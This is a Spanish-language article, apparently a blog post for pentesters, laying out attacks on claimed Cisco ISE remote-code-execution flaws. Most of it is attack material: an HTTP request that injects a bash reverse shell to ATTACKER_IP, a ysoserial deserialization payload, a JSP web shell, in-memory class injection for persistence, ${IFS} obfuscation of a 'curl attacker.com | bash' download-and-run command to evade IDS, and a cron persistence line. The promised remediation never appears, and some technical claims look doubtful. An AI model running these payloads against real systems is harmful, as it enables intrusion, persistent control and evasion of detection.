
Análisis técnico en profundidad de las vulnerabilidades RCE de Cisco ISE, incluyendo técnicas de explotación, métodos de evasión y estrategias de remediación para investigadores de seguridad y pentesters.
Las vulnerabilidades de Ejecución Remota de Código (RCE) en Cisco Identity Services Engine (ISE) representan un punto de quiebre crítico en la seguridad perimetral corporativa. Para un investigador de seguridad de élite, ISE no es simplemente un componente de autenticación: es la llave maestra que controla el acceso a toda la infraestructura de red.
Riesgo Crítico: Un atacante no autenticado puede obtener control total del sistema en menos de 5 minutos, sin dejar rastros detectables en sistemas tradicionales de monitoreo.
| CVE | Endpoint | Método | Autenticación | Severidad |
|---|---|---|---|---|
| CVE-2025-20281 | /deployment-rpc/enableStrongSwanTunnel | POST | ❌ Ninguna | CRÍTICA |
| CVE-2025-20282 | /api/v1/config/upload | POST | ⚠️ Débil | CRÍTICA |
| CVE-2025-20124 | /admin/rest/api/v1/system/config | GET/POST | ⚠️ Bypass posible | CRÍTICA |
┌─────────────────────────────────────────────────────────┐
│ CISCO ISE - ARQUITECTURA NAC EXPUESTA │
├─────────────────────────────────────────────────────────┤
│ │
│ [Internet] ──→ [Firewall] ──→ [ISE Management Port] │
│ ↓ │
│ [Unauthenticated APIs] │
│ ↓ │
│ [Java Deserialization Layer] │
│ ↓ │
│ [Tomcat Web Container] │
│ ↓ │
│ [OS Command Execution] │
│ ↓ │
│ [Complete Network Compromise] │
│ │
└─────────────────────────────────────────────────────────┘
Hallazgo Crítico: La API /deployment-rpc/ no valida tokens de sesión en las primeras líneas de procesamiento, permitiendo un bypass completo de autenticación.
Fase 1: Reconocimiento
# Escaneo de puertos y servicios
nmap -sV -p 8443,8080 <ISE_IP>
# Enumeración de endpoints RPC
curl -s https://<ISE_IP>:8443/deployment-rpc/ | grep -i "method"
Fase 2: Explotación Directa
POST /deployment-rpc/enableStrongSwanTunnel HTTP/1.1
Host: <ISE_IP>:8443
Content-Type: application/json
Content-Length: 287
{
"tunnelName": "admin",
"tunnelType": "IPSec",
"presharedKey": "test",
"remoteGateway": "127.0.0.1",
"localSubnet": "0.0.0.0/0",
"remoteSubnet": "0.0.0.0/0",
"advancedConfig": "'; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1; echo '"
}
Resultado: Ejecución de comando arbitrario con permisos de root (usuario Tomcat ejecuta como root en configuraciones por defecto).
[Payload Serializado] ──→ [API Endpoint] ──→ [ObjectInputStream.readObject()]
↓
[Gadget Chain Execution]
↓
[Runtime.exec() invocado]
Payload PoC (usando ysoserial):
# Generación de gadget chain malicioso
java -jar ysoserial.jar CommonsCollections6 \
'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"' | \
base64 -w 0 > payload.b64
# Envío del payload
curl -X POST https://<ISE_IP>:8443/admin/rest/api/v1/system/config \
-H "Content-Type: application/octet-stream" \
--data-binary @payload.b64
Impacto: Elevación de privilegios desde cuenta de "Solo Lectura" a root.
[Web Shell] ──→ [/api/v1/config/upload] ──→ [/opt/CSCOlumos/uploads/]
↓
[Tomcat procesa archivo JSP]
↓
[Ejecución con permisos root]
Ejemplo de Web Shell Malicioso:
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cmd});
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = br.readLine()) != null) {
out.println(line + "<br>");
}
}
%>
Acceso posterior:
https://<ISE_IP>:8443/opt/CSCOlumos/uploads/shell.jsp?cmd=id
Un hacker de élite nunca deja archivos en disco. La inyección en memoria es la técnica de persistencia invisible:
// Inyección en Tomcat ClassLoader
ClassLoader loader = Thread.currentThread().getContextClassLoader();
byte[] classBytes = generateMaliciousClass();
Method defineClass = ClassLoader.class.getDeclaredMethod(
"defineClass",
String.class, byte[].class, int.class, int.class
);
defineClass.setAccessible(true);
defineClass.invoke(loader, "EvilClass", classBytes, 0, classBytes.length);
Ventaja: Los escaneos de archivos tradicionales (OSSEC, Tripwire) no detectan nada.
${IFS}# Comando original (detectable)
curl http://attacker.com/shell.sh | bash
# Comando ofuscado (evasión de IDS)
c${IFS}url${IFS}http://attacker.com/shell.sh${IFS}|${IFS}bash
# Variante con variable indirection
${PATH:0:1}b${PATH:0:1}n${PATH:0:1}bash${IFS}-c${IFS}'comando_malicioso'
Por qué funciona: Los sistemas de detección buscan patrones de palabras clave (curl, bash, |). El uso de ${IFS} (Internal Field Separator) divide las palabras sin cambiar su significado en bash.
# ❌ DETECTABLE - Archivos en /etc/cron.d/
echo "* * * * * root /tmp/malware.sh" > /etc/cron.d/evil
# ✅ INVISIBLE - Inyección en proceso Tomcat
# 1. Crear listener netcat en memoria
# 2. Inyectar thread en JVM que mantiene conexión persistente
# 3. No hay archivos, no hay procesos huérfanos visibles